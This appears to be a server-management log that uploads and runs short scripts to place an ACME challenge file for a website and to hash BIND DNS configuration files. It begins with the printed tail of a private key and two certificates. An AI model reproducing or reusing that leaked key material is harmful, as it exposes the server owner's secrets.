GO/5GIdZAgMBAAECggEAM3bNwUUPsVfyYHJ1A11SvJBXzbdND+610WOfuKZibXN3
h21cv6BPeFzr6/OTdMLFIz38pzj0Fr9SMDFOCUIiMU8ghCUTQgYqI5sOmA7mGPcJ
DFp3eIyUmciU1iXYhSQGEY3hHtmtGobFB6ITCj01Su3p+7WjKlgDa8ShPZDFJfIM
VEkhXhCzGEkWCq/gVLnVlzRXIwPqXBiXZbz6BfFDDJrSYJOAFciGQRyhHgrsWFFg
Rno/bkweFkuuH4Wk6qLmMdUFmGH0283ZNrWTUmmsxqE5tCfZiCZSkdSGv2QOS2hV
lU/FcGfHQZNV2tNbd0pLCH/MAEsxg3FEfH3J4afyhwKBgQDcuIeREWhphLxzOxo8
e9O6xJWfV9Zcq/EKPMXidwKeDFywJ8OwT5oJsQv+0znzTR+qtYmjeTUeIpdMEV1+
KDByGq2XZIc9HOHN0tyO0h4oMnZGv/powPLjsN/ynFJ3YDtdW+Jvu0/92enSmkAj
6lauwPY5rrDu6o2X0IRilx+7JwKBgQC6tkdaYjCkvMppKX06oTIJxpRmRQGwN6QD
KG5lScKA+ftKpxxnJmh312E2+W99vQSAsgk12nOFR9Qok+aKYwg7bypQbPsuzWd9
41iYpnYH5ASgWcpav+72/DnvBOPWIQgM5ftGoyOGvIboYk1hXbmBeHA2v/Y3hHng
YF5oHDk5fwKBgHQHvZyRXiY6VSbuZvhsz/1a4p0Fe/bznJ8ZG53VmlajgQZJoSHK
dtupavjm6YvxezguftClIztYS9j9N/zd+7nANIllm4KQ8FNXCgM6igfvnyXKPkVb
SVRQ4ymS6/c9a3fEmeDKw15bdAP2eslmo3LylX31S6YNP6oTP8TkVRX5AoGAXQP7
7gomo5st11AFBBVUAUy9l2lfWvONMMmOncUuMeTXjKxN2RFoT/OriaCgK2rj+F05
e2u1yzsqdYChBGYrrrhFw0VXqUxI940wEPQ0rt+ocl3pEma13LNxBSNRgdZ41Twp
f1o8k54OM2ztkckIZniippPhTG0h7mb0ATe2Rm8CgYBOJZcHxc4K0vwSa1ALdma7
UKI3EE4ViOdjTiqpXyqopL7HI578YeJdBSLUoIFQOQKzpUOwd7fpFrHh67zQXfCO
8WX85+eSge9iLQ27OG+pOD6RPQ5wrxFM1c7zu7GNQL81j3xJXEa5T67YStQZO0EB
XeMnWsKXL9sjNRmN/0H4ww==
-----END PRIVATE KEY-----


-----BEGIN CERTIFICATE-----
MIIE2zCCAsOgAwIBAgIRAKICU/FfJpHAXcHOE7m8yk4wDQYJKoZIhvcNAQELBQAw
LjELMAkGA1UEBhMCVVMxDTALBgNVBAoTBElTUkcxEDAOBgNVBAMTB1Jvb3QgWVIw
HhcNMjUwOTAzMDAwMDAwWhcNMjgwOTAyMjM1OTU5WjAzMQswCQYDVQQGEwJVUzEW
MBQGA1UEChMNTGV0J3MgRW5jcnlwdDEMMAoGA1UEAxMDWVIxMIIBIjANBgkqhkiG
9w0BAQEFAAOCAQ8AMIIBCgKCAQEAoVi8X2xCYgMXvJxNPKp/oF13UMgmPABB07VC
LNDtoXmt9luEZNJSBV10VyT1Pz6LD8Zq1d2gc43WNl1AdRrj4sEnazbOiz0nPpmG
Bp2hui49oZtDIY6wdKeZAi5BbNU20CH6RSBBMLSQ9cXrH8dxdv4PAJ45ssGML68U
SE3BsjC2a6cAN9L5CgXVIQi5tfNiTPoFZZ3S0OlXqLmmtdV95udWAb5b6e/F49Di
CsH0Y00Ag72BVIb1hzynmKe+X0mERBTtsb3BwmpV9ipeBjMLoR/D9cHxHQCWoi5l
TmXwY015J5rGelz1nZjJuxc2kioaX29XJBnhMkP531rSdG5uMwIDAQABo4HuMIHr
MA4GA1UdDwEB/wQEAwIBhjATBgNVHSUEDDAKBggrBgEFBQcDATASBgNVHRMBAf8E
CDAGAQH/AgEAMB0GA1UdDgQWBBQfLzW+RhSCzUCxrnksVXj699Ro+zAfBgNVHSME
GDAWgBTe51tg0CJtQCh9Pw0B/qS1UrRRlDAyBggrBgEFBQcBAQQmMCQwIgYIKwYB
BQUHMAKGFmh0dHA6Ly95ci5pLmxlbmNyLm9yZy8wEwYDVR0gBAwwCjAIBgZngQwB
AgEwJwYDVR0fBCAwHjAcoBqgGIYWaHR0cDovL3lyLmMubGVuY3Iub3JnLzANBgkq
hkiG9w0BAQsFAAOCAgEA0+zvMq3kHig1ddTmmm+RibTr9/RpX7k4buanMMRqbV/y
IvP82zAHN3mvaw+cASuVsdpd0ikjhr4hnhJQLQOzOp2ccKrsdGOAgo0vddeISFAq
EWEV4lmUM3vFF796up+bSgmJ1u6RupDCMxDgF8M3eLvGuj6L0lu3zkQ0KuQLnKxL
tB0oQqn1Idg5CuuGpMvQzk29Pa3D/qHurc0EIM9SxukQuJqq63lxsYyRQFU8yMBO
hq1w5LbfaWNRrz1uklOfI/pYkAb2E2MTZrAMQkBIE2S8Jt1F8gRc96o/xOsrgvSk
a84AisX6xq1lz1Z7jGvrnXc4TMcjxZTjiTaihcYI1JIXZiLtEMSCa5l3cu8YWd6z
dLRQlqRdclVjuQfNHawRJ6GWlkK0QJosivTKwdBw3KxEtzGo8yMHERbsy57gP1UX
HOMcmZYQC0gtyR3SxfenIM/MxC3Ia2Ypab/kQ/CTnlIn2KQ5JUC6NYrGCbhFN9bp
5lKJStEwCUnLpntcrXk5XVDCNv/5RyWpRThkGOV7GetKkQ0qAY8hCzWK6oqnAhDZ
cjlYVdWfqOw3DIOX6EDNBgAqHarRVxyF9QZdOaXSyPJ0ueD2BYJEBgaCGQ8rAaU/
Qc123V5LTXDZW4CcsPBDyhy4v+c8hClAyw/IkJlfBqxB9D+/wvIMHgECZ4ptP6o=
-----END CERTIFICATE-----

-----BEGIN CERTIFICATE-----
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
-----END CERTIFICATE-----






2026-07-03 06:00:41: Establishing a connection
2026-07-03 06:00:41: Establishing a connection
2026-07-03 06:00:41: 

PUT: /tmp/pkp829562

#!/bin/bash
if [ -d "/var/www/hopeinstoughton_backup/.well-known" ]; then
    echo 1
else
    echo 0
fi


2026-07-03 06:00:42: 

chmod 755 /tmp/pkp829562; /tmp/pkp829562; rm /tmp/pkp829562

2026-07-03 06:00:42: 


1


2026-07-03 06:00:42: Establishing a connection
2026-07-03 06:00:42: 

PUT: /tmp/pkp939301

#!/bin/bash
mkdir -p "/var/www/hopeinstoughton_backup/.well-known/acme-challenge/"
cd "/var/www/hopeinstoughton_backup/.well-known/acme-challenge/"
cat > 7VCC1cEOUBz8djlv4bSnfhJFSBvc4BfL64_Os1eOJNI <<'----boundary-6506b6c63ab0478b95fb419cca0e56fb----'
7VCC1cEOUBz8djlv4bSnfhJFSBvc4BfL64_Os1eOJNI.-jIM5EB2E51kVCC6JDMzXy3saEYDtouosfbBBv2qBKE
----boundary-6506b6c63ab0478b95fb419cca0e56fb----
chmod 666 7VCC1cEOUBz8djlv4bSnfhJFSBvc4BfL64_Os1eOJNI


2026-07-03 06:00:42: 

chmod 755 /tmp/pkp939301; /tmp/pkp939301; rm /tmp/pkp939301

2026-07-03 06:00:42: 




2026-07-03 12:20:54: Establishing a connection
2026-07-03 12:21:03: Establishing a connection
2026-07-03 12:21:03: 

PUT: /tmp/pkp883698

#!/usr/bin/php
<?php

// What files are being used by Bind, and what are their contents?
//   php's token_get_all() makes this fairly quick

	$directory = '/etc/bind';
	ob_start('ob_gzhandler');
	parseFile('named.conf');
	ob_end_flush();

function parseFile($filename, $parse = TRUE) {
	global $directory;
	if ($filename[0] != '/') $filename = realpath($directory . '/./' . $filename);
	$hash = md5_file($filename);
	echo "MD5({$filename})= {$hash}\n";

	if ($parse) {
		$content = "<?php\n" . file_get_contents($filename);
		$tokens = token_get_all($content);
		$i = 0;
		parseGroup($tokens, $i);
	}
}

function unQuote($value) {
	$ch = $value[0];
	if ($ch == '"' || $ch == "'") {
		if (substr($value, -1) == $ch) {
			$value = substr($value, 1, -1);
		}
	}
	return $value;
}

function addEntry(&$current) {
	global $directory;
	if (count($current)) {
		switch($current[0]) {
			case 'include':
				$filename = unQuote($current[1]);
				parseFile($filename);
				break;
			case 'directory':
				$directory = unQuote($current[1]);
				break;
			case 'file':
				$filename = unQuote($current[1]);
				parseFile($filename, FALSE);		// Resource File - do not parse
				break;
		}
	}
	$current = [];
}

function ParseGroup($tokens, &$i) {
	$current = [];
	$c = count($tokens);
	while ($i < $c) {
		$token = $tokens[$i];
		if (is_array($token)) {
			$token_name = $token[0];
			$token_data = $token[1];	// [2] = line number
		} else {
			$token_name = -1;
			$token_data = $token;
		}
		switch ($token_name) {
			case -1:
				if ($token_data == ';') {			// end of statement
					$i++;
					addEntry($current);
				} elseif ($token_data == '{') {		// group
					$i++;
					ParseGroup($tokens, $i);
				} elseif ($token_data == '}') {		// end of group
					addEntry($current);
					return;
				}
			case T_OPEN_TAG:
			case T_WHITESPACE:
			case T_COMMENT:
				break;
			case T_DNUMBER:		// 127.0 / .0 / .1
			case T_LNUMBER:
			case T_CONSTANT_ENCAPSED_STRING:
			case T_STRING:
			case T_INCLUDE:
				$current[] = $token_data;
				break;
		}
		$i++;
	}
	addEntry($current);
}

2026-07-03 12:21:04: 

runuser -l bind -s /bin/bash -c '/tmp/pkp883698; rm /tmp/pkp883698'

2026-07-03 12:21:04: 


MD5(/etc/bind/named.conf)= 6df494defbd381f8bc9d76ff6611ba09
MD5(/etc/bind/named.conf.options)= 35371f62b8a2d54eb399121839293544
MD5(/etc/bind/named.conf.local)= 8227830310fbff06ce05450e47b27977
MD5(/var/cache/bind/0299c0c61c7ba070834ba2dd758c9c51.conf)= 0fd08353130bb23e9ce3de6623e547cd
MD5(/var/cache/bind/0299c0c61c7ba070834ba2dd758c9c51.txt)= 03d4462705df3e3b3447b5e03d69e033
MD5(/var/cache/bind/25162dac9ffbcb0be59287b7a9bde7f4.conf)= f3bc075b289ef11a7e7fb9730ce45981
MD5(/var/cache/bind/25162dac9ffbcb0be59287b7a9bde7f4.txt)= db46afa1eaf0998e2096010ff5922625
MD5(/var/cache/bind/54524ffc708f1919654eee3e8e8e8adb.conf)= 229439ac891c563fbf452cfb5b8d8082
MD5(/var/cache/bind/54524ffc708f1919654eee3e8e8e8adb.txt)= 46011b4de1a60b584e110c9275cf58d9
MD5(/var/cache/bind/265e805c99c946847c9512ae0a2f1979.conf)= c7d0f7caaf6c7c9b22c53150d660da6d
MD5(/var/cache/bind/265e805c99c946847c9512ae0a2f1979.txt)= 05cb0d9a8acaeec415f02a2878e47e99
MD5(/var/cache/bind/94cdb93348589672ae2f4f7d5cf38aba.conf)= 92f5ac0b53170f78cd90b11433e00c90
MD5(/var/cache/bind/94cdb93348589672ae2f4f7d5cf38aba.txt)= b18383b98052efd1f1c0c13416f7da2a
MD5(/var/cache/bind/695c92f1e52b32224b4afd59cf37d6f1.conf)= cf96c96f1d1461ee0e72fa2288f69183
MD5(/var/cache/bind/695c92f1e52b32224b4afd59cf37d6f1.txt)= 41be792e22df23608316bdc6d5c02ebb
MD5(/var/cache/bind/a9ce89f9cbbf500822cbde90492a4b59.conf)= e25d9cd35ad127e670a08c38380f80dd
MD5(/var/cache/bind/a9ce89f9cbbf500822cbde90492a4b59.txt)= 8978877eb7bb428bb9b1624fd66866df
MD5(/var/cache/bind/1a70a64890644d614d006709f4d07011.conf)= 78daa950362f6df7200d4f288d8fcc24
MD5(/var/cache/bind/1a70a64890644d614d006709f4d07011.txt)= 2beac4b9c680af375d0427d0ec122336
MD5(/var/cache/bind/76868f6e068adf5f82f053b795932883.conf)= c08670467eff145eb677c7be4fedd002
MD5(/var/cache/bind/76868f6e068adf5f82f053b795932883.txt)= 292b467eca3f6f3e89b5906332d932ee
MD5(/var/cache/bind/b64ede8e027cbe0b900c74b7dad61fc6.conf)= 4fc4049398e3e9ef0d00161bec61b8a9
MD5(/var/cache/bind/b64ede8e027cbe0b900c74b7dad61fc6.txt)= e373146ad3409ae00911c19a196aba0c
MD5(/var/cache/bind/a6604325e1e95bb658a4876ded716488.conf)= 5738a9fc0adb6f630b2fd1631f76ebc3
MD5(/var/cache/bind/a6604325e1e95bb658a4876ded716488.txt)= b7fd8090ad0c758abe1b81ce7342fe27
MD5(/var/cache/bind/c23c0a067c65fe695faa3f188e27944c.conf)= a7b88255b74138f72d534f4bd4a55f78
MD5(/var/cache/bind/c23c0a067c65fe695faa3f188e27944c.txt)= 4c65be2cf42d7b01dff25648a30e0d60
MD5(/var/cache/bind/0a6ad15e551aafb493c6806effeddcf2.conf)= 6ee0aac8bac1e71e0fc3ba188fbd759d
MD5(/var/cache/bind/0a6ad15e551aafb493c6806effeddcf2.txt)= 55b92b69ce255778373fb680dec3d692
MD5(/var/cache/bind/7695e2001b9158b46e53b17c49af86b5.conf)= d22959f1a2d9d7cb2536df3503919289
MD5(/var/cache/bind/7695e2001b9158b46e53b17c49af86b5.txt)= c85eeca80d19efbde6476aaa5e378f89
MD5(/var/cache/bind/063b25bf16976ce1a2c836785c63433d.conf)= 92a9f7b58f0a8f65037161a776a507b8
MD5(/var/cache/bind/063b25bf16976ce1a2c836785c63433d.txt)= 3350c32974ffbafe079a7b2e988461c6
MD5(/var/cache/bind/e3a645e9cd9a48a14dd8493b70d9eeb7.conf)= a96b4420934b504593fd2f5230424614
MD5(/var/cache/bind/e3a645e9cd9a48a14dd8493b70d9eeb7.txt)= d2257a98a9302b66c20561308c19fdcf
MD5(/var/cache/bind/62fb2e372bc0a32115fbc83c762f20b5.conf)= 6eb5284adbf5d232feb60f6e1ab6df01
MD5(/var/cache/bind/62fb2e372bc0a32115fbc83c762f20b5.txt)= c6b705f7647f89b3a921503db37fea1e
MD5(/var/cache/bind/9b1deba5ba095e87244f37a8e3f127c3.conf)= b0e44b79d08ff8aa48029941ec628f8a
MD5(/var/cache/bind/9b1deba5ba095e87244f37a8e3f127c3.txt)= a264743f8f159ddddb0eaa504acd179f
MD5(/var/cache/bind/32d4fd93b17a2291b23647ec24f8da21.conf)= 6c13dfa5be1a030d5ad674727b3a6ca7
MD5(/var/cache/bind/32d4fd93b17a2291b23647ec24f8da21.txt)= 8c06d62e3637a8428b0366618cf3abd7
MD5(/var/cache/bind/de5342f930e16cce802d35118a2fa8d3.conf)= 69ba71a6df7b67c48ee48d439825b9b8
MD5(/var/cache/bind/de5342f930e16cce802d35118a2fa8d3.txt)= 87d8872c527a1698c0cbfdfec95dfb04
MD5(/var/cache/bind/6f67b388e6765da580018fda67333d25.conf)= 015688087db895d82fc3eb3b9e11c692
MD5(/var/cache/bind/6f67b388e6765da580018fda67333d25.txt)= d1e1050a45218d8a317ce20cd873bddd
MD5(/var/cache/bind/9c176806fc238e21c915b63d0649fc22.conf)= befba77b0345213ef42b7d5fff304d70
MD5(/var/cache/bind/9c176806fc238e21c915b63d0649fc22.txt)= 64a0bc30bde19c19f61dce2d34ba9f4d
MD5(/var/cache/bind/1e54f6c33ee3ca2eea403fca319b0ee4.conf)= 57e8151924225ca0e8e775f7c467fc0e
MD5(/var/cache/bind/1e54f6c33ee3ca2eea403fca319b0ee4.txt)= 25d0956113a097d2916fee42bd2d5ce8
MD5(/var/cache/bind/2debffd89b49e0229c33680cd8802ecb.conf)= 4a0086432eb4e2adea559c1ce5927665
MD5(/var/cache/bind/2debffd89b49e0229c33680cd8802ecb.txt)= 5750103aa360655e27676ee5092b77ef
MD5(/var/cache/bind/7be199ed365109a6d40950ee59d1f556.conf)= 1f311b8a6182eeca1501eba415974cdc
MD5(/var/cache/bind/7be199ed365109a6d40950ee59d1f556.txt)= c53c26bd24bdda2d1ee3d779b0ccd0a8
MD5(/var/cache/bind/eebb27648fd2a6fb3ddcc9ab90e7112b.conf)= 603b053e96cc535f2b53b4f94c071b02
MD5(/var/cache/bind/eebb27648fd2a6fb3ddcc9ab90e7112b.txt)= ee53ca31f66425c94bab4f49e8a21876
MD5(/var/cache/bind/1f505a75628761de494a35ab69db20dd.conf)= 97c8d1c1c45d4c3d55a30acba462715e
MD5(/var/cache/bind/1f505a75628761de494a35ab69db20dd.txt)= 6e0a1be9573427f3aecbcd2f457e6ca9
MD5(/var/cache/bind/88c5638dfb94d699fd48b1feb9d60cff.conf)= a5c1273a2ca448bbb92c7203a6f0c24e
MD5(/var/cache/bind/88c5638dfb94d699fd48b1feb9d60cff.txt)= 2657621e2763f175c78568a13a3b4254
MD5(/var/cache/bind/a4eb3fca977ca6015dcdbcabf7d11d48.conf)= f8bf0700dac5c8c4919aecf3da123f92
MD5(/var/cache/bind/a4eb3fca977ca6015dcdbcabf7d11d48.txt)= 2a8dec65e632ef023e1ae1037f9a8eb8
MD5(/var/cache/bind/3c5ac3f042be6256f4781cbc416678be.conf)= 549f08df0180e98c4a822c8ff0213408
MD5(/var/cache/bind/3c5ac3f042be6256f4781cbc416678be.txt)= 9cb7121349a3447b15a4f1444864be56
MD5(/var/cache/bind/c0f3c184d08b11c006e309fb0115bdd6.conf)= 83cee68b971fca76ad57abcf7ea79435
MD5(/var/cache/bind/c0f3c184d08b11c006e309fb0115bdd6.txt)= bfa28a357931b8963fc3db9342c27396
MD5(/var/cache/bind/5228c1dbadd38e40039230194a4f9e79.conf)= ddffa1884914311387168172feda086c
MD5(/var/cache/bind/5228c1dbadd38e40039230194a4f9e79.txt)= ffa7f2c861e2579237365beb35c65328
MD5(/var/cache/bind/a991f2a33195300884cfb80603e68095.conf)= fc499b7bcc4f7bd1d4827357adb45e7d
MD5(/var/cache/bind/a991f2a33195300884cfb80603e68095.txt)= cdfc7d29f0f9da0d7cb4cc1c627d340e
MD5(/var/cache/bind/3c4b5f94d47374f5ce45f7155d4ae5a8.conf)= 6282a18418d86f206e2410aae573926a
MD5(/var/cache/bind/3c4b5f94d47374f5ce45f7155d4ae5a8.txt)= da8d99880c0b4f5d1158902abf4cf39a
MD5(/var/cache/bind/35d18abc44b089ffa23e3e2f0807ece6.conf)= f8bc6a67efbdb504a5f85f3787175120
MD5(/var/cache/bind/35d18abc44b089ffa23e3e2f0807ece6.txt)= ce97f4641bfe8d4826b6d44097672165
MD5(/var/cache/bind/40b78c826a55a9eeca31786e0586fee9.conf)= 9c469d124b973a0c48a7084a48df07ed
MD5(/var/cache/bind/40b78c826a55a9eeca31786e0586fee9.txt)= ebf08621122375f56f22c7d207713b37
MD5(/var/cache/bind/93997bd832de09ba4e56713eaa81d340.conf)= f89894bce93149ef3a0ee72cf3b46a92
MD5(/var/cache/bind/93997bd832de09ba4e56713eaa81d340.txt)= a7ff8245b49d737356e14402ef69e0b4
MD5(/var/cache/bind/320b669d287ba63741ff57cf3e690770.conf)= fff6889b13905b5a22a0a280541beb17
MD5(/var/cache/bind/320b669d287ba63741ff57cf3e690770.txt)= 2557fbb1b0ce22dfcad39f117fb5d836
MD5(/var/cache/bind/11674aee41a9cabe2304d659e10b5dd0.conf)= 6e60a6f4a772f19624e54937eadf00e0
MD5(/var/cache/bind/11674aee41a9cabe2304d659e10b5dd0.txt)= 12ec6f783d6ac3bdd3f9d6921b1ba27a
MD5(/var/cache/bind/0766fc100eec8a6853d7ddbdaedbb9bf.conf)= 4aa3a1169a84c53167ee8dcce6128883
MD5(/var/cache/bind/0766fc100eec8a6853d7ddbdaedbb9bf.txt)= ff229c913624671483309b6b5a233790
MD5(/var/cache/bind/05b92d9466be1ff60f99171b12b904c0.conf)= b35e87166fa75b0eecbabb2958595374
MD5(/var/cache/bind/05b92d9466be1ff60f99171b12b904c0.txt)= 9dbcf27730c478ead28397cbef193659
MD5(/var/cache/bind/d15154fdc73f852a93983b8efa978ccd.conf)= 370ad953107dab595a234500850414cb
MD5(/var/cache/bind/d15154fdc73f852a93983b8efa978ccd.txt)= 1f5511319facf6dd7179e0ee9cac0c65
MD5(/var/cache/bind/ffb28d26a57997ceef6aa88af3ca2eb1.conf)= 41dfde821e6536d01c57049ace3f0fa8
MD5(/var/cache/bind/ffb28d26a57997ceef6aa88af3ca2eb1.txt)= 3b9749b3aa1d39b252fd354cb1d30abc
MD5(/var/cache/bind/c92f7952a5e58a40373c6ea0395bbe60.conf)= aa0c41a8f288d69eeb16567b5e0aec56
MD5(/var/cache/bind/c92f7952a5e58a40373c6ea0395bbe60.txt)= 0cc05ded4f42eaa5e3a66f7466b55045
MD5(/var/cache/bind/69d0916aecf832c706b4d0e9097de457.conf)= 0c12e9548e598ad77eff62d2c68142b2
MD5(/var/cache/bind/69d0916aecf832c706b4d0e9097de457.txt)= 215db2579062c3dd4bf7e5ed22982e75
MD5(/var/cache/bind/9102cebf40552256181ade1b5794bce9.conf)= 9c40952b0c50507ea64d4480409cb2e8
MD5(/var/cache/bind/9102cebf40552256181ade1b5794bce9.txt)= a144f5668b70541e3def64047fe02b6c
MD5(/var/cache/bind/916eb0791d6219f551785c0d0cdb6551.conf)= 51e286d25a9fbd96f007a7084de18dd9
MD5(/var/cache/bind/916eb0791d6219f551785c0d0cdb6551.txt)= 100f002295ca521d3ac0f418694f3c7d
MD5(/var/cache/bind/3d2ec12df06edc90dfcd3e90b9defc61.conf)= 9cb837c312618417daea16d794ea198b
MD5(/var/cache/bind/3d2ec12df06edc90dfcd3e90b9defc61.txt)= b23222a1b0723ecf0760bd68b4d2a070
MD5(/var/cache/bind/4e946d31d5dbbaea14c1f8a8cc65c592.conf)= 980c7a4583fe35da8df0033a57098def
MD5(/var/cache/bind/4e946d31d5dbbaea14c1f8a8cc65c592.txt)= f528c9aa02ebb4638264fc82862875f3
MD5(/var/cache/bind/f526c54ffce876cc4878737cf365bd79.conf)= 7a6022b5c53bafd967d3c9873a04bf86
MD5(/var/cache/bind/f526c54ffce876cc4878737cf365bd79.txt)= 0657908fdb73b80608db9fcde03ef46f
MD5(/var/cache/bind/03d5b5f89be357e1588146db824a75a9.conf)= 85a2b7310c5460015abddb6ef0af3a56
MD5(/var/cache/bind/03d5b5f89be357e1588146db824a75a9.txt)= 558dea320db1d773932c92910d1dbdd0
MD5(/var/cache/bind/97b02af5a57f21e16869add9e7536c63.conf)= 81f4dbaa2ef4e9abd0e967b4ad2586b2
MD5(/var/cache/bind/97b02af5a57f21e16869add9e7536c63.txt)= 7174b344b0ae3fb0d1e887f7b7a8cca1
MD5(/var/cache/bind/9ab47e96627d9522a0b8df2ee4322802.conf)= 7a7a30e25dd61c59d71673818fb4b731
MD5(/var/cache/bind/9ab47e96627d9522a0b8df2ee4322802.txt)= 4ef4e881b38eacff7ef2cb121ee2a31d
MD5(/var/cache/bind/a1c902386bae85264c8bcd7d46d289a9.conf)= 4475af152483db05440ac1bdb9e91ed8
MD5(/var/cache/bind/a1c902386bae85264c8bcd7d46d289a9.txt)= d8822ffb89db1df7c92e5994559a29f1
MD5(/var/cache/bind/1f055662da24bcf52398528dbf5a1c4f.conf)= 5f673bc37590247b80c11d0349e7039b
MD5(/var/cache/bind/1f055662da24bcf52398528dbf5a1c4f.txt)= f74085c0552a3fba6622491abdbfce06
MD5(/var/cache/bind/b77f3ffec345cac4b4296eed63420be1.conf)= ece349c6e4fb427405bbce5b5501fec7
MD5(/var/cache/bind/b77f3ffec345cac4b4296eed63420be1.txt)= 66b17acb39553d9ae5c46141fa7072cc
MD5(/var/cache/bind/7312c9cb95b4bacf912d8bac1ea438cc.conf)= 34f0d361e4a9e09f563e1b9ebb2d21db
MD5(/var/cache/bind/7312c9cb95b4bacf912d8bac1ea438cc.txt)= 2a324e4d3ddfd35539af500663112679
MD5(/var/cache/bind/6e7fd231117136482801b6740f7def61.conf)= 9896db403abe67fa779eafab3fb9c466
MD5(/var/cache/bind/6e7fd231117136482801b6740f7def61.txt)= ccc02fdb93c8840b3a79ed79d7b7ae56
MD5(/var/cache/bind/ee1ed0202e3c22ccb5dc6bbfc4c176ac.conf)= 5160486015bcb3611cd44fe96a0507f2
MD5(/var/cache/bind/ee1ed0202e3c22ccb5dc6bbfc4c176ac.txt)= 5aef34597b77b644cec7fbe4d804cae9
MD5(/var/cache/bind/82e710fb4c28419815112803356c4f79.conf)= fd0457a783720d5adbc63330db4ba29c
MD5(/var/cache/bind/82e710fb4c28419815112803356c4f79.txt)= 876777712e30357d4624f45b89f90d25
MD5(/var/cache/bind/d365b77ad7e9376e619973b277c11515.conf)= d22edaa21f398273183ddd5015d8a697
MD5(/var/cache/bind/d365b77ad7e9376e619973b277c11515.txt)= af7980c0c505a2cb9c80a6dcd33fb37d
MD5(/var/cache/bind/b579aafafbcd32ebd30996c14e2929d0.conf)= 0bb3baf9e79ad18c078b64857c5c4fef
MD5(/var/cache/bind/b579aafafbcd32ebd30996c14e2929d0.txt)= 4f2a6ba7f3a1f349813677dc835b72e3
MD5(/var/cache/bind/e0dc27e9ac6120dd4b9b149abf3e317e.conf)= 66ef6c188fde86c68238df5f0f8b1c63
MD5(/var/cache/bind/e0dc27e9ac6120dd4b9b149abf3e317e.txt)= 78845a52d60704d9f479a146f3151909
MD5(/var/cache/bind/210d2f210e4452e9446e4b9a5969250a.conf)= f58481f984dabea5d5aecf889dafd909
MD5(/var/cache/bind/210d2f210e4452e9446e4b9a5969250a.txt)= 21e91dfd8a70957d62dfd3f65c252eaf
MD5(/var/cache/bind/f9446b138d2c5ba2c536837db166189d.conf)= 41de67f9c6ff20a481de2604a5cc468c
MD5(/var/cache/bind/f9446b138d2c5ba2c536837db166189d.txt)= 3de8aa47e4be97fb0088cbc5bd4e5d00
MD5(/var/cache/bind/39a853d14cf222b11389743f34305dc2.conf)= be458f7ab43d9f713dcd9551784820da
MD5(/var/cache/bind/39a853d14cf222b11389743f34305dc2.txt)= fd0a8c652b27589f5908fcf7f1e9f6e0
MD5(/var/cache/bind/28a5e75a7da01b086708dce3eb004d3c.conf)= 9809fac7437d3482422b2fcdb2aae89f
MD5(/var/cache/bind/28a5e75a7da01b086708dce3eb004d3c.txt)= eaf427f91784f271895869ca9c1c31ab
